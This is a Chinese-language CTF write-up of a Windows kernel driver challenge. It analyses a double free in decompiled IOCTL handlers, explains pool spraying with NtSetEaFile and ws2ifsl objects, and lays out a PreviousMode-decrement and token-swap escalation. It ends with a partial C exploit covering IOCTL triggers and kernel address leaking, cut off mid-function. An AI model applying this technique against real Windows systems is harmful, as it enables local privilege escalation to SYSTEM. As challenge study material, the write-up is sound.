AliyunCTF SYSTEM

Windows Driver Exploit

知识点蛮多的

Driver

是个驱动,内容比较少,稍微看一下逻辑

驱动入口:DriverEntry,第一个函数是Windows给程序加了 _security_cookie,然后初始化DriverObject

1
2
3
4
5
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
sub_14000610C();
return Init(DriverObject);
}

初始化DriverObject。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
NTSTATUS __fastcall Init(PDRIVER_OBJECT DriverObject)
{
NTSTATUS result; // eax
NTSTATUS v3; // ebx
_OWORD *DeviceExtension; // rdx
struct _UNICODE_STRING DeviceName; // [rsp+40h] [rbp-28h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-18h] BYREF
PDEVICE_OBJECT DeviceObject; // [rsp+80h] [rbp+18h] BYREF

DeviceObject = 0i64;
RtlInitUnicodeString(&DeviceName, L"\\Device\\SIOCTL");
result = IoCreateDevice(DriverObject, 0x30u, &DeviceName, 0x22u, 0x100u, 0, &DeviceObject);
if ( result >= 0 )
{
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)DispatchCommon;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)DispatchCommon;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DispatchControl;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)Unload;
RtlInitUnicodeString(&DestinationString, L"\\DosDevices\\IoctlTest");
v3 = IoCreateSymbolicLink(&DestinationString, &DeviceName);
DeviceExtension = DeviceObject->DeviceExtension;
*DeviceExtension = 0i64;
DeviceExtension[1] = 0i64;
DeviceExtension[2] = 0i64;
if ( v3 < 0 )
IoDeleteDevice(DeviceObject);
return v3;
}
else
{
_mm_lfence();
}
return result;
}

DispatchCommon

1
2
3
4
5
6
7
8
9
#define IRP_MJ_CREATE                     0x00 
#define IRP_MJ_CLOSE 0x02
__int64 __fastcall DispatchCommon(__int64 a1, IRP *a2)
{
a2->IoStatus.Status = 0;
a2->IoStatus.Information = 0i64;
IofCompleteRequest(a2, 0);
return 0i64;
}

我们可以控制的是size的大小,并且这个size大小为0x1000的倍数,向上取整

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#define IRP_MJ_DEVICE_CONTROL           0x0e
__int64 __fastcall DispatchControl(PDEVICE_OBJECT pDeviceObject, IRP *irp)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // rax
unsigned int v3; // ebx
PVOID DeviceExtension; // rdi
ULONG ulInputBufferLength; // r8d
ULONG ulOutputBufferLength; // edx
ULONG ulIoControlCode; // eax
void *__pStartAddr2; // rcx
struct _MDL *__pMdl2; // rdx
void *__pVirtualAddress; // rcx
struct _MDL *__pMdl; // rdx
char *buffer; // r13
unsigned int _usSize; // r15d
PVOID ContiguousMemory; // rax
void *_pVirtualAddress; // rbp
struct _MDL *Mdl; // rax
struct _MDL *_pMdl; // r14
PVOID pStartAddr2; // rax
PVOID _pStartAddr2; // r12
_DWORD *SystemBuffer; // r13
unsigned int usSize; // r15d
PVOID pVirtualAddress; // rax
struct _MDL *pMdl; // rax
unsigned int pMapAddr; // eax
unsigned int _pMapAddr; // r12d

CurrentStackLocation = irp->Tail.Overlay.CurrentStackLocation;
v3 = 0;
DeviceExtension = pDeviceObject->DeviceExtension;
ulInputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;
ulOutputBufferLength = CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength;
if ( !ulInputBufferLength || !ulOutputBufferLength )
{
v3 = 0xC000000D;
goto LABEL_34;
}
ulIoControlCode = CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
switch ( ulIoControlCode )
{
case 0x9C402400:
if ( ulInputBufferLength != 4 || ulOutputBufferLength != 8 )
goto LABEL_34;
SystemBuffer = irp->AssociatedIrp.SystemBuffer;
usSize = (*SystemBuffer + 0xFFF) & 0xFFFFF000;
pVirtualAddress = MmAllocateContiguousMemory(usSize, (PHYSICAL_ADDRESS)0xFFFFFFFFFFFFFFFFui64);
_pVirtualAddress = pVirtualAddress;
if ( pVirtualAddress )
{
pMdl = IoAllocateMdl(pVirtualAddress, usSize, 0, 0, 0i64);/
_pMdl = pMdl;
if ( pMdl )
{
MmBuildMdlForNonPagedPool(pMdl);
pMapAddr = (unsigned int)MmMapLockedPagesSpecifyCache(_pMdl, 1, MmNonCached, 0i64, 0, 0x10u);
_pMapAddr = pMapAddr;
if ( pMapAddr )
{
*(_QWORD *)DeviceExtension = pMapAddr;
*((_QWORD *)DeviceExtension + 1) = _pVirtualAddress;
*((_QWORD *)DeviceExtension + 2) = _pMdl;
Memset(void *)pMapAddr, 0xFF, usSize);
*SystemBuffer = usSize;
SystemBuffer[1] = _pMapAddr;
irp->IoStatus.Information = 8i64;
goto LABEL_34;
}
LABEL_31:
IoFreeMdl(_pMdl);
}
LABEL_29:
MmFreeContiguousMemory(_pVirtualAddress);
}
return 0xC000009Ai64;
case 0x9C402404:
if ( ulInputBufferLength != 4 || ulOutputBufferLength != 12 )
goto LABEL_34;
buffer = (char *)irp->AssociatedIrp.SystemBuffer;
_usSize = (*(_DWORD *)buffer + 0xFFF) & 0xFFFFF000;
ContiguousMemory = MmAllocateContiguousMemory(_usSize, (PHYSICAL_ADDRESS)0xFFFFFFFFFFFFFFFFui64);
_pVirtualAddress = ContiguousMemory;
if ( ContiguousMemory )
{
Mdl = IoAllocateMdl(ContiguousMemory, _usSize, 0, 0, 0i64);
_pMdl = Mdl;
if ( Mdl )
{
MmBuildMdlForNonPagedPool(Mdl);
pStartAddr2 = MmMapLockedPagesSpecifyCache(_pMdl, 1, MmNonCached, 0i64, 0, 0x10u);
_pStartAddr2 = pStartAddr2;
if ( pStartAddr2 )
{
*((_QWORD *)DeviceExtension + 4) = _pVirtualAddress;
*((_QWORD *)DeviceExtension + 3) = pStartAddr2;
*((_QWORD *)DeviceExtension + 5) = _pMdl;
Memset(pStartAddr2, 0xFF, _usSize);
*(_DWORD *)buffer = _usSize;
*(_QWORD *)(buffer + 4) = _pStartAddr2;
irp->IoStatus.Information = 12i64;
goto LABEL_34;
}
goto LABEL_31;
}
goto LABEL_29;
}
return 0xC000009Ai64;
case 0x9C402408:
if ( !*(_QWORD *)DeviceExtension )
goto LABEL_17;
__pMdl = (struct _MDL *)*((_QWORD *)DeviceExtension + 2);
if ( !__pMdl || !*((_QWORD *)DeviceExtension + 1) )
goto LABEL_17;
MmUnmapLockedPages(*(PVOID *)DeviceExtension, __pMdl);
IoFreeMdl(*((PMDL *)DeviceExtension + 2));
__pVirtualAddress = (void *)*((_QWORD *)DeviceExtension + 1);
goto LABEL_16;
case 0x9C40240C:
__pStartAddr2 = (void *)*((_QWORD *)DeviceExtension + 3);
if ( !__pStartAddr2 )
goto LABEL_17;
__pMdl2 = (struct _MDL *)*((_QWORD *)DeviceExtension + 5);
if ( !__pMdl2 || !*((_QWORD *)DeviceExtension + 4) )
goto LABEL_17;
MmUnmapLockedPages(__pStartAddr2, __pMdl2);
IoFreeMdl(*((PMDL *)DeviceExtension + 5));
__pVirtualAddress = (void *)*((_QWORD *)DeviceExtension + 4);
LABEL_16:
MmFreeContiguousMemory(__pVirtualAddress);
LABEL_17:
irp->IoStatus.Information = 0i64;
goto LABEL_34;
}
v3 = 0xC0000010;
LABEL_34:
irp->IoStatus.Status = v3;
IofCompleteRequest(irp, 0);
return v3;
}

MDL

memory descriptor list

跨一系列连续虚拟内存地址的 I/O 缓冲区可以分布在多个物理页中,并且这些页面可以是不连续的。 操作系统使用 内存描述符列表 (MDL) 来描述虚拟内存缓冲区的物理页面布局。

  • StartVa:page开始的地址
  • ByteOffset:在page内的偏移
  • ByteCount: 大小
1
2
3
4
5
6
7
8
9
10
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags;
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;

API

MmAllocateContiguousMemory:分配一系列连续的NonPagedPool内存,并将其映射到系统地址空间,分配的内存未初始化

1
2
3
4
5
// 返回已分配内存的基虚拟地址。
PVOID MmAllocateContiguousMemory(
[in] SIZE_T NumberOfBytes, // 要分配的连续内存块的大小(以字节为单位)
[in] PHYSICAL_ADDRESS HighestAcceptableAddress // 调用方可以使用的最高有效物理地址。
);

释放由 MmAllocateContiguousMemoryXxx 分配的一系列物理连续内存。

1
2
3
void MmFreeContiguousMemory(
[in] PVOID BaseAddress
);

给定缓冲区的起始地址和长度, IoAllocateMdl 分配内存描述符列表 (MDL) 足以映射缓冲区(NonPagedPool)。

1
2
3
4
5
6
7
8
9
10
11
// 返回指向 MDL 的指针
PMDL IoAllocateMdl(
[in, optional] __drv_aliasesMem PVOID VirtualAddress, // 指向 MDL 要描述的缓冲区的基虚拟地址的指针。
[in] ULONG Length, // 指定 MDL 要描述的缓冲区的长度(以字节为单位)
[in] BOOLEAN SecondaryBuffer, // 指示缓冲区是主缓冲区还是辅助缓冲区。
[in] BOOLEAN ChargeQuota, // 预留给系统使用。 驱动程序必须将此参数设置为 **FALSE**。
[in, out, optional] PIRP Irp // 指向要与 MDL 关联的 IRP 的指针
);

// Ntoskrnl.exe
result = (PMDL)ExAllocatePoolWithTag(NonPagedPoolNx, size, ' ldM');

创建一个MDL结构体,而这个结构体描述给出的VurtualAddress

IoFreeMdl 释放调用方分配的内存描述符列表 (MDL) 。

1
2
3
void IoFreeMdl(
[in] PMDL Mdl
);

MmBuildMdlForNonPagedPool 接收指定非分页虚拟内存缓冲区的 MDL,并更新它以描述基础物理页。

1
2
3
void MmBuildMdlForNonPagedPool(
[in, out] PMDL MemoryDescriptorList // 指向 MDL 的指针
);

MmMapLockedPagesSpecifyCache 将 MDL 描述的物理页面映射到虚拟地址,并使调用方能够指定用于创建映射的缓存属性。

1
2
3
4
5
6
7
8
PVOID MmMapLockedPagesSpecifyCache(
[in] PMDL MemoryDescriptorList,
[in] __drv_strictType(KPROCESSOR_MODE / enum _MODE,__drv_typeConst)KPROCESSOR_MODE AccessMode,
[in] __drv_strictTypeMatch(__drv_typeCond)MEMORY_CACHING_TYPE CacheType,
[in, optional] PVOID RequestedAddress,
[in] ULONG BugCheckOnFailure,
[in] ULONG Priority
);

映射 MDL 的 MmMapLockedPagesSpecifyCache 函数发现其既可以将 MDL 描述的虚拟地址缓冲区的物理页映射到内核虚拟地址空间中也可以映射到用户虚拟地址空间中,取决于其第二个参数 AccessMode

AccessMode:KernelMode 或 UserMode

1
2
3
4
5
typedef enum _MODE { 
KernelMode,
UserMode,
MaximumMode
} MODE;

MmNonCached:请求的内存不应由处理器缓存。

Debug

分配了两个NonPagedPool内存,在Free后并没有把相关位置置为0,可以多次free。

下断点调试

1
2
3
4
5
6
7
8
9
10
0: kd> lm m s*
Browse full module list
// 查看start内存,PE文件格式
start end module name
fffff805`1b010000 fffff805`1b019000 sioctl (no symbols)
// IDA: 140005020
// 偏移:0x5020
0: kd> ba e1 sioctl+0x5020 // ioctl

1: kd> p

0x9C402400 IoAllocateMdl,根据返回值确定一下MDL的大小

1
2
3
4
5
1: kd> 
sioctl+0x521e:
fffff80a`9852521e ff150cceffff call qword ptr [sioctl+0x2030 (fffff80a`98522030)]

*ffff880ab958ed20 size: 120 previous size: 0 (Allocated) *Mdl

但是程序走到Memset会报错,因为地址不对,可以从汇编看出来使用32位地址截断

1
2
3
PAGE:000000014000526F                 mov     ecx, r12d       ; Dst
PAGE:0000000140005272 mov edx, 0FFh ; Val
PAGE:0000000140005277 mov r8d, r15d ; Size

Io/NpFr/Ws2P

官方WP:第二届AliyunCTF官方writeup – 因为这里设计是给32位程序使用的回调,64位程序的用户态地址在发生integer truncation后往往是非法地址,预期是通过一个32位的程序完成利用

在VS里选择x86生成,0x9C402400 确实没有崩溃。

  • 这里还必须得使用,因为如果 MmAllocateContiguousMemory 分配的内存被连续释放会蓝屏

思路是 DF 转化为 指定结构体的 UAF。

这里作者介绍了两种堆喷的对象

  • IopVerifierExAllocatePoolWithQuota的调用中会申请类型为NonPagedPoolNx的Pool
  • 经典的NpFr

IO

这个结构大小可以控制,内容可以控制,品相相当不错

IopVerifierExAllocatePoolWithQuota:其上层调用如NtSetInformationFile、NtSetEaFile等函数都可以实现控制申请pool的大小,并写入内容。但是却存在一个问题,就是这类poolTag为IO的池,都会在IO结束时被释放,虽然被释放了,但是当前内核池的内容并没有立即被占用,内容还在。

相关内容:etw 事件管理器内核漏洞利用

ntkrnlImp.exe(ntoskrnl.exe)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PVOID __fastcall IopVerifierExAllocatePoolWithQuota(__int64 a1, SIZE_T a2)
{
PVOID result; // rax

if ( !ViVerifierEnabled
|| (VfRuleClasses & 0xFFAFFFFF) == 0
&& (VfRuleClasses & 0x200000000i64) == 0
&& (VfRuleClasses & 0x400000000i64) == 0 )
{
return ExAllocatePoolWithQuotaTag(NonPagedPoolNx, a2, ' oI');
}
result = ExAllocatePoolWithTagPriority(
NonPagedPoolNx,
a2,
0x20206F49u,
(EX_POOL_PRIORITY)((MmVerifierData & 0x10 | 0x40u) >> 1));
if ( !result )
RtlRaiseStatus(3221225626i64);
return result;
}

交叉引用:NtSetEaFile,该函数内部检测DEVICE_OBJECT的Flags是否包含4(DO_BUFFERED_IO),因此第一个参数的句柄给的是PEAuth的文件句柄,EVICE_OBJECT的Flags为0x44。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
NTSYSAPI 
NTSTATUS
NTAPI
NtSetEaFile(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID EaBuffer,
IN ULONG EaBufferSize
);

// sets extended-attribute (EA) values for a file.
__int64 __fastcall NtSetEaFile(int a1, unsigned __int64 a2, unsigned __int64 a3, ULONG a4)
// ...

v4 = (void *)a3;

// ...
// v12 是经过 a1(FileHandler) 寻找到的Object
DeviceObject = IoGetRelatedDeviceObject(v12);
// ...
Flags = DeviceObject->Flags;
if ( (Flags & 4) != 0 )
{
ErrorOffset = 0;
v26 = a4;
if ( a4 )
{
v35 = 0;
PoolWithQuota = (struct _FILE_FULL_EA_INFORMATION *)IopVerifierExAllocatePoolWithQuota(0i64, a4);
Irp->AssociatedIrp.MasterIrp = (_IRP *)PoolWithQuota;
memmove(PoolWithQuota, v4, a4);
// ...

Ws2P

另外一个对象,作者给出 ws2ifsl,可以看如下的文章了解一下

当调用NtCreateFile时,文件名设置为\Device\WS2IFSL\,将调用DispatchCreate函数,函数将根据文件名中的_FILE_FULL_EA_INFORMATION.EaName字符串进行判断,如果是NifsPvd,它将调用CreateProcessFile,如果是NifsSct,它将调用CreateSocketFile。

CreateProcessFile函数都创建内部对象,称为procData。创建后,这些对象将保存在文件对象的_FILE_OBJECT.FsContext

ws2ifsl.sys!DispatchCreate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall DispatchCreate(__int64 a1, IRP *a2)
{
__int64 MasterIrp; // rbx
struct _IO_STACK_LOCATION *CurrentStackLocation; // rsi
__int64 v5; // rdx
unsigned int ProcessFile; // eax
unsigned int v7; // ebx

MasterIrp = (__int64)a2->AssociatedIrp.MasterIrp;
if ( !MasterIrp )
goto LABEL_8;
CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
if ( *(_BYTE *)(MasterIrp + 5) != 7 )
goto LABEL_8;
if ( strcmp_0((const char *)(MasterIrp + 8), "NifsSct") )
{
if ( !strcmp_0((const char *)(MasterIrp + 8), "NifsPvd") )
{
ProcessFile = CreateProcessFile((__int64)CurrentStackLocation->FileObject, a2->RequestorMode, MasterIrp);
goto LABEL_7;
}
LABEL_8:
v7 = -1073741811;
goto LABEL_9;
}
LOBYTE(v5) = a2->RequestorMode;
ProcessFile = CreateSocketFile(CurrentStackLocation->FileObject, v5, MasterIrp);
LABEL_7:
v7 = ProcessFile;
LABEL_9:
a2->IoStatus.Information = 0i64;
a2->IoStatus.Status = v7;
IofCompleteRequest(a2, 0);
return v7;
}

ws2ifsl!CreateProcessFile,一个tag位Ws2P的池 ProcData

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 __fastcall CreateProcessFile(PFILE_OBJECT pFileObj, KPROCESSOR_MODE Mode, struct _IRP *Irp)
{
// ...
Blink = Irp->ThreadListEntry.Blink;
Flink = Irp->ThreadListEntry.Flink;
MasterIrp = Irp->AssociatedIrp.MasterIrp;
Flags = *(void **)&Irp->Flags;
LABEL_7:
Object = 0i64;
v12 = ObReferenceObjectByHandle(Flags, 0x10u, (POBJECT_TYPE)PsThreadType, Mode, &Object, 0i64);
_object = Object;
if ( v12 >= 0 )
{
v14 = IoThreadToProcess((PETHREAD)Object);
if ( v14 == IoGetCurrentProcess() )
{
Pool2 = ExAllocatePool2(0x61i64, 0x110i64, 'P2sW');
_Pool2 = Pool2;
if ( Pool2 )
{
*(_DWORD *)Pool2 = 'corP';
*(_QWORD *)(Pool2 + 8) = PsGetCurrentProcessId();
*(_DWORD *)(_Pool2 + 0x100) = 0;
*(_QWORD *)(_Pool2 + 0x108) = 1i64;
LOBYTE(_Mode) = Mode;
v12 = InitializeRequestQueue(_Pool2, (int)_object, _Mode, (int)MasterIrp, Blink);
if ( v12 >= 0 )
{
LOBYTE(__Mode) = Mode;
v12 = InitializeCancelQueue(_Pool2, (int)_object, __Mode, (int)Flink, Blink);
}
if ( v12 >= 0 )
{
pFileObj->FsContext = (PVOID)_Pool2;
return 0i64;
}
// ...

InitializeRequestQueue && InitializeCancelQueue: 初始化Apc请求/取消队列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
__int64 __fastcall InitializeRequestQueue(PVOID Pool, PVOID a2, char Mode, struct _IRP *a4, PVOID ApcContext)
{
// ...
ApcRoutine = a4;
*((_BYTE *)Pool + 32) = 0;
*((_QWORD *)Pool + 3) = (char *)Pool + 16;
*((_QWORD *)Pool + 2) = (char *)Pool + 16;
KeInitializeSpinLock((PKSPIN_LOCK)Pool + 5);
v8 = PsWrapApcWow64Thread(&ApcContext, &ApcRoutine);
if ( v8 >= 0 )
{
v10 = Mode;
KeInitializeApc(
(char *)Pool + 48,
a2,
0i64,
guard_check_icall_nop,
RequestRundownRoutine,
ApcRoutine,
v10,
ApcContext);
}
return (unsigned int)v8;
}

__int64 __fastcall InitializeCancelQueue(PVOID pool, PVOID obj, char mode, struct _IRP *a4, PVOID ApcContext)
{
NTSTATUS v8; // ebx
char v10; // [rsp+30h] [rbp-18h]
PVOID ApcRoutine; // [rsp+68h] [rbp+20h] BYREF

ApcRoutine = a4;
*((_BYTE *)pool + 152) = 0;
*((_QWORD *)pool + 18) = (char *)pool + 136;
*((_QWORD *)pool + 17) = (char *)pool + 136;
KeInitializeSpinLock((PKSPIN_LOCK)pool + 20);
v8 = PsWrapApcWow64Thread(&ApcContext, &ApcRoutine);
if ( v8 >= 0 )
{
v10 = mode;
KeInitializeApc(
(char *)pool + 168,
obj,
0i64,
guard_check_icall_nop,
CancelRundownRoutine,
ApcRoutine,
v10,
ApcContext);
}
return (unsigned int)v8;
}

释放的位置在DispatchClose函数中 ExFreePoolWithTag

1
2
3
4
5
6
7
8
9
  FsContext = (PVOID *)a2->Tail.Overlay.CurrentStackLocation->FileObject->FsContext;
if ( *(_DWORD *)FsContext == 'corP' )
{
ObfDereferenceObject(FsContext[7]);
DereferenceProcessContext(FsContext);
LABEL_8:
v4 = 0;
goto LABEL_9;
}

需要注意的是这个池大小 0x110,加上PoolHeader就是0x120

在CloseHandle时,调用ObfDereferenceObject函数,也就是将这个位置上的值-1。因此我们可以将ETHREAD.PreviousMode 从 1减为0。

因此大致流程

  • heap spray 减少碎片
  • allocate ContiguousMemory && MDL
  • free ContiguousMemory && MDL
  • 使用 ws2ifsl 占位MDL (Ws2P ProcData)
  • double free ContiguousMemory && MDL
  • 使用Io占位MDL,修改Ws2P偏移为28的值为ETHREAD.PreviousMode
  • CloseHandler 导致ETHREAD.PreviousMode为0
  • NtWriteVirtualMemory 任意地址写,替换token

但是改成x86的程序后,导致泄露的EPROCESS地址被截断。

因此官方给出三个文件

  • helper.exe 64位,使用NtQuerySystemInfomation获取信息
  • poc.exe: 32位,
  • exp.exe:调用两个文件
  • 使用了命名管道进行通信同步

必须等待回收资源才能减去1

Nu1L 提了一个关闭 dynbase,通过这个也可以修改

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
#include <Windows.h>
#include <winternl.h>
#include <iostream>
#include <vector>

#pragma comment(lib, "ntdll")

// Device
#define DEVICE L"\\\\.\\IoctlTest"
#define IOCTL_ALLOCATE32 0x9C402400
#define IOCTL_RELEASE32 0x9C402408
#define IOCTL_ALLOCATE64 0x9C402404
#define IOCTL_RELEASE64 0x9C40240C

HANDLE g_hDevice;

VOID Allocate64(ULONG uSize)
{
//wprintf(L"[+] Allocate64\r\n");
BYTE szInbuffer[4] = { 0 };
BYTE szOutBuffer[12] = { 0 };
*(PULONG)szInbuffer = uSize;
DWORD dwBytesReturned;
BOOL ret = FALSE;
ret = DeviceIoControl(
g_hDevice,
IOCTL_ALLOCATE64,
szInbuffer, sizeof(szInbuffer),
szOutBuffer, sizeof(szOutBuffer),
&dwBytesReturned, NULL);
if (FALSE == ret)
{
wprintf(L"[-] Error IOCTL_ALLOCATE64\r\n");
exit(1);
}
}

VOID Allocate32(ULONG uSize)
{
//wprintf(L"[+] Allocate32\r\n");
BYTE szInbuffer[4] = { 0 };
BYTE szOutBuffer[8] = { 0 };
*(PULONG)szInbuffer = uSize;
DWORD dwBytesReturned;
BOOL ret = FALSE;
ret = DeviceIoControl(
g_hDevice,
IOCTL_ALLOCATE32,
szInbuffer, sizeof(szInbuffer),
szOutBuffer, sizeof(szOutBuffer),
&dwBytesReturned, NULL);
if (FALSE == ret)
{
wprintf(L"[-] Error IOCTL_ALLOCATE32\r\n");
exit(1);
}
}

//if (!ulInputBufferLength || !ulOutputBufferLength)
//{
// v3 = 0xC000000D;
// goto LABEL_34;
//}
VOID Free64()
{
//wprintf(L"[+] Free64\r\n");
BYTE buffer[] = "h5";
BOOL ret = FALSE;
DWORD dwBytesReturned = 0;
ret = DeviceIoControl(
g_hDevice,
IOCTL_RELEASE64,
buffer, sizeof(buffer),
buffer, sizeof(buffer),
&dwBytesReturned, NULL);
if (FALSE == ret)
{
wprintf(L"Error IOCTL_RELEASE64\r\n");
exit(1);
};

// wprintf(L"first free succeeded, dwOutput = %d\n", dwOutput);
}

VOID Free32()
{
//wprintf(L"[+] Free32\r\n");
BYTE buffer[] = "h5";
BOOL ret = FALSE;
DWORD dwBytesReturned = 0;
ret = DeviceIoControl(
g_hDevice,
IOCTL_RELEASE32,
buffer, sizeof(buffer),
buffer, sizeof(buffer),
&dwBytesReturned, NULL);
if (FALSE == ret)
{
wprintf(L"Error IOCTL_RELEASE32\r\n");
exit(1);
};
}

// Get Kernel Infomation
ULONG64 g_SystemEprocess;
ULONG64 g_CurrentEprocess;
ULONG64 g_ExploitEthread;

HANDLE g_ThreadExploitHandle;
DWORD g_CurrentPid;

// NtQuerySystemInfomation Leak Information
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
LONG __PADDING__[1];
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;



#define SystemModuleInformation (SYSTEM_INFORMATION_CLASS)0x0b
#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)0x10
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

VOID LeakByQuerySystemInfomation()
{
DWORD CurPid = GetCurrentProcessId();
g_CurrentPid = CurPid;
// Process
HANDLE hSelf = OpenProcess(PROCESS_QUERY_INFORMATION, 0, CurPid);
if (hSelf == INVALID_HANDLE_VALUE || hSelf == NULL)
{
wprintf(L"[-] Error OpenProcess\r\n");
exit(1);
}

// kthread and ktoken
PSYSTEM_HANDLE_INFORMATION HandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(0x100);
ULONG OutBufLen = 0;
NTSTATUS status = NtQuerySystemInformation(SystemHandleInformation, HandleInfo, 0x100, &OutBufLen);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
free(HandleInfo);
HandleInfo = (SYSTEM_HANDLE_INFORMATION*)malloc(OutBufLen);
status = NtQuerySystemInformation(SystemHandleInformation, HandleInfo, OutBufLen, &OutBufLen);
}

if (HandleInfo == NULL)
{
wprintf(L"[-] Error NtQuerySystemInformation SystemHandleInformation\r\n");
exit(1);
}

// PID 当前进程 Handle 没有指定
for (int i = 0; i < HandleInfo->NumberOfHandles; i++)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)HandleInfo->Handles[i];
if (handleInfo.UniqueProcessId == CurPid)
{
wprintf(L"[*] PID %d\tObject %#llx\n", handleInfo.UniqueProcessId, (ULONG64)handleInfo.Object);
break;
}
}

// 找到 ExploitThread 的ETHREAD
// 找到System的 EPROCESS
// 找到当前进程的 EPROCESS
for (ULONG i = 0; i < HandleInfo->NumberOfHandles; i++)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO HandleEntry = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)HandleInfo->Handles[i];
if (HandleEntry.UniqueProcessId == CurPid && HandleEntry.HandleValue == (ULONG)g_ThreadExploitHandle)
{
g_ExploitEthread = (ULONG64)HandleEntry.Object;
wprintf(L"[*] Exploit thread PID: %d\thandle: %#x\t_KTHREAD: %#llx\n", HandleEntry.UniqueProcessId, HandleEntry.HandleValue, g_ExploitEthread);
}

// 当前进程 Eprocess
